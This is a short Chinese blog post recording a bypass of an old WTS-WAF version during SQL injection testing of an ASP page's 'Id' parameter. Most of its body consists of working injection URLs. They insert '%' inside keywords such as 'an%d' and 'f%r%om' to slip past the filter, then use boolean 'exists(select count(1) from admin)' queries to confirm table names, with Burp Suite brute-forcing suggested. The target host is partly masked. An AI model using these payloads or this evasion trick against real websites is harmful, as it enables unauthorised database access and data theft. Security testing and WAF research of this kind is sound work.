老版本WTS-WAF bypass小记

起因

挖漏洞的时候总是会遇到WAF，绕过记录

漏洞点

***view.asp?big=75&Id=1 漏洞点在Id参数

添加单引号报错

来一波老套的Id=1 and 1=1 ，出现防火墙

***view.asp?big=75&Id=1%20and%201=1

bypass

老版本WTS-WAF绕过很简单，在关键字里面加%符号即可

***view.asp?big=75&Id=1%20an%d%201=1

成功绕过

猜表

猜表名，这个地方使用burpsuite暴力跑就行，也可以手动测一些比较常规的表名，例如admin

***view.asp?big=75&Id=1%20an%d%20exists(select%20count(1)%20f%r%om%20admin)

说明存在admin表，为了证明语句没错，再测一下manager表

***view.asp?big=75&Id=1%20an%d%20exists(select%20count(1)%20f%r%om%20manager)

说明注入语句没错，manager表不存在

点到为止

参考链接

• https://blog.csdn.net/u011781521/article/details/53942183
• https://zhuanlan.zhihu.com/p/27730232
• https://www.jianshu.com/p/b2da19279f1f

__EOF__

本文作者：春告鳥
本文链接：https://www.cnblogs.com/Cl0ud/p/14345881.html
关于博主：评论和私信会在第一时间回复。或者直接私信我。
版权声明：本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！
声援博主：如果您觉得文章对您有帮助，可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力！